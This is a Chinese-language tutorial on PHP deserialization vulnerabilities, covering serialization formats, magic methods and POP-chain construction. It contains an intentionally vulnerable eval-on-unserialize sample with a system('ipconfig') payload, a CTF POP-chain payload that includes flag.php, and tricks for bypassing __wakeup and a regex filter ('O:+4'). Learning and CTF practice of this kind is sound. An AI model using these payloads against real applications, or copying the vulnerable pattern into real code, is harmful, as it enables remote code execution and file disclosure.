当前位置: 首页 > news >正文

PHP反序列化漏洞

 

类的结构
class ClassName{//  成员变量声明
//  成员函数声明
}类的修饰符
public         共有的          外部可用protected   受保护的       外部不可用private        私有的          外部不可用

上面就是定义一个类的格式,例如下面class定义类名,其中定义成员变量一定要加声明var

也可以定义函数(方法),在当前类里面调用变量,需要加this,代表当前类,然后下面的需要将类实体化,才能调用里面的函数,另外也可以将没有初始值的sex进行赋值

<?php
# phpstormclass demo{// 声明 成员变量var $n="wdasdsad";var $sex;// 声明  成员函数function jm(){echo $this->n;//this 代表当前类}
}
//先进行实体化
$d = new demo();
//在进行调用
$d -> jm();
echo "\n";
//也可以进行赋值
echo $d->sex="jr";
echo "\n";

而关于public 以及protected   private三个声明之间其中public代表公共的,protect代表包含 priva代表私有,被public修饰的成员变量可以在类的内部或者外部调用,而其他两个只能在类的内部调用

<?php
class demo{// 声明 成员变量  public 公共的public $name="juran";// 受保护的protected $sex="猛男";// 私有的private $age=18;// 声明  成员函数function jr(){
//        echo $this->name;
//        echo $this->sex;echo $this->age;}
}$d = new demo();
//echo $d->name;
// 类的外部不能调用受保护的成员变量
//echo $d->sex;
// 类的外部不能调用私有的的成员变量
//echo $d->age;
$d -> jr();

序列化基础知识

序列化是将对象的状态信息转换为可以存储或传输得到形式的过程

<?phpN;
echo serialize(null);i:123;
echo serialize(123);d:123.3;
echo serialize(123.3);b:1;
echo serialize(true);s:5:"juran";
echo serialize("juran");$a = array("juran", "jr", "JR");
a:3:{i:0;s:5:"juran";i:1;s:2:"jr";i:2;s:2:"JR";}
a:3 参数个数
i:0 编号s:5:juran; 值
echo serialize($a);class demo{public $name = "juran";
//    public $age;protected $age;private $sex;public function jr(){echo $this->name;}
}O:4:"demo":1:{s:4:"name";s:5:"juran";}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:3:"age";N;}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;}%00类名%00属性名字
O:4:"demo":3:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo urlencode(serialize(new demo()));

序列化之后的表达方式 空字符、整形、浮点型、字符串、数组、对象

 

反序列化

反序列化是将序列化得到的字符串转化为一个对象的过程;

反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值 无关;

反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转 化为字符串;

反序列化不触发类的成员方法,需要调用方法后才能触发

<?php
class demo{public $name = "juran";// public $age;protected $age;private $sex;public function jr(){echo $this->name;}
}
// O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22juran%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D
echo urlencode(serialize(new demo()));
// O:4:"demo":3:{s:4:"name";s:2:"jr";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo "\n";
// 反序列化生成的对象的 成员属性值 由被 反序列化的字符串 决定,与 原来类预定义的值无关;
$d = unserialize(urldecode("O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22jr%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D"));

其反序列化以后结果如下

反序列化漏洞利用

反序列化漏洞的原因:反序列化过程中,unserialize()接收的值可控,从get传参数过来进行反序列化,调用diaplayer会导致一些任意命令执行。
<?php
class demo{public $a = 'this is string';public function displayVar() {eval($this->a);}
}//echo serialize(new demo());
// O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";}$get = $_GET["s"];
echo $get;
// eval->displayVar->s->接收一个序列化的值->$a->可以执行的命令
$b = unserialize($get);
$b->displayVar();

魔法方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法;
魔术方法的作用:魔术方法在特定条件下自动调用相关方法 最终导致触发代码
 
construct()  //类的构造函数,创建对象时触发
  
destruct()          / /类的析构函数,对象被销毁时触发   反序列化时会被触发

cal1()            //调用对象不可访问、不存在的方法时触发

callstatic()         //在静态上下文中调用不可访问的方法时触发

get()         //调用不可访问、不存在的对象成员属性时触发

set()              //在给不可访问、不存在的对象成员属性赋值时触发
 
 
 
isset()    //当对不可访问属性调用isset()或empty()时触发

unset()    //在不可访问的属性上使用unset()时触发

invoke()   //把对象当初函数调用时触发

sleep()    //执行serialize()时,先会调用这个方法

wakeup()   //执行unserialize()时,先会调用这个方法

tostring()     //把对象当成字符串调用时触发


clone()         //使用clone关键字拷贝完一个对象后触发

下面对象创建时候,construct()下面的方法会被触发,后面在进行反序列时候会触发destruct() 

class demo{public function __construct(){echo "已创建";echo "\n";}public function __destruct(){echo "已销毁";echo "\n";}public function jr(){echo "juran";}
}$d = new demo();
//$d->jr();
// O:4:"demo":0:{}
echo serialize($d);// unserialize -> __destruct
var_dump(unserialize('O:4:"demo":0:{}'));


以及下面sleep()   wakeup()   两对,序列化时触发sleep,反序列时触发wakeup,但是有一点,sleep触发后,没有任何值,需要return 一个数组才能出现对象
<?php
class demo{public $name="juran";public function __sleep(){echo "使用了serialize";// 数组return array($this->name);}public function __wakeup(){echo "使用了unserialize";echo "\n";}
}$d = new demo();
$b = serialize($d);
echo $b;
unserialize($b);

 

tostring()     //把对象当成字符串调用时触发,把class定义的对象demo当做字符串ehco输出,就会调用


clone()         //使用clone关键字拷贝完一个对象后触发,把类当做函数就会触发

POP链构造思路

魔术方法触发的前提是:魔术方法所在的类或者对象被调用,其中将demo1实体对象d1赋值给demo2实体对象d2下面的$d,这样构成了POP链,序列化以后可见下面
<?phpclass demo1
{public $a = "juran";public $b = true;public $c = 666;
}class demo2
{public $h = "hhh";public $d;
}// 成员属性赋值对象
$d1 = new demo1();
$d2 = new demo2();
echo serialize($d2);
echo "\n";
//O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";N;}
$d2->d = $d1;
// O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"demo1":3:{s:1:"a";s:5:"juran";s:1:"b";b:1;s:1:"c";i:666;}}
echo serialize($d2);

我们来看一到ctf题目

<?php
class Modifier {private $var;// $var=flag.phppublic function append($value){echo $value;include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{// Showpublic $source;// Testpublic $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{// Modifierpublic $p;public function __construct(){$this->p = array();}// 不存在的属性public function __get($key){$function = $this->p;return $function();}
}// pop序列化的值
if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
//unserialize('O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}');// unserialize->Show->__wakeup->echo->$this->source=Show->__toString
// $this->str=Test -> 不存在source ->__get ->$function()->$p=Modifier
// __invoke->$this->append->include($value)

最后payload如下

/ O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最后讲一下绕过方法,题目如下,其实只要将$admin和$passwd分别赋值成admin和wllm就可以了,并且绕过一下--wakeup

将其序列化一下,注意他的属性值个数大于实际的格式就会绕过wakeup

 

最后一个,通常我们序列化一个对象之后前面的值一定是o:4,但是这样会受到下面正则匹配限制,其实只需要o:+4,在中间加一个加号就能绕过,下面匹配的是以o或c开头后面接一个数字

<?phpclass Demo
{private $file = 'index.php';public function __construct($file){$this->file = $file;}function __destruct(){echo @highlight_file($this->file, true);}function __wakeup(){if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}
}if (isset($_GET['var'])) {$var = base64_decode($_GET['var']);// O:+4if (preg_match('/[oc]:\d+:/i', $var)) {die('stop hacking!');} else {@unserialize($var);}
} else {highlight_file("index.php");
}







 

http://www.dtcms.com/a/521143.html

相关文章:

  • dw做的网站怎么发布到网上wordpress wamp
  • 信用门户网站建设方案网站建设空间申请
  • RAG性能提升:从查询优化到范式演进的系统性路径
  • 响应式网站开发方法游戏官网平台
  • 网络管理员教程(初级)第六版--第4章 Web网站建设
  • 网站导入链接创建
  • 企业网站最重要的访问对象是Vantage wordpress主题
  • SpringBoot-数据访问之Druid
  • 算法 vs 社区:Pump 与 FourMeme 的增长机制之战
  • 「PPG信号处理——(2)脉搏波信号刺激前后RMSSD心率变异性研究」2025年10月23日
  • 学网站开发可以创业吗学校网站英文
  • 哈尔滨企业自助建站php做的网站手机能看到
  • Ubuntu关于串口的操作
  • 电子商务网站建设与维护考试提供郑州网站建设
  • 内蒙建设厅网站怎么查建筑电工证门户网站底部
  • 全面掌握PostgreSQL关系型数据库 日志配置 笔记07
  • 工厂做哪个网站好鼓楼微网站开发
  • 江门网站建设方案推广wordpress地址改错了
  • 什么叫网站外链如何做企业组织架构图
  • 网页与网站设计工作内容wordpress的登陆地址修改
  • 为什么在数据库表中存储的数字是20.02,但是在前端读取的时候就会呈现20.0200000000000
  • 手机网站的文本排版是怎么做的百度一下就知道官网
  • XSS漏洞攻击 (跨站脚本攻击)
  • 龙之向导外贸经理人网站云南省住房和城乡建设局网站
  • 高端品牌网站建设九五网络家居网站模板
  • 第16章:Spring AI Alibaba Graph框架— 人类反馈
  • 大连网站制作推广免费送网站
  • 泰州城乡建设局网站电子商务网站建设利益分析
  • CORDIC三角计算技术
  • Miniconda介绍与安装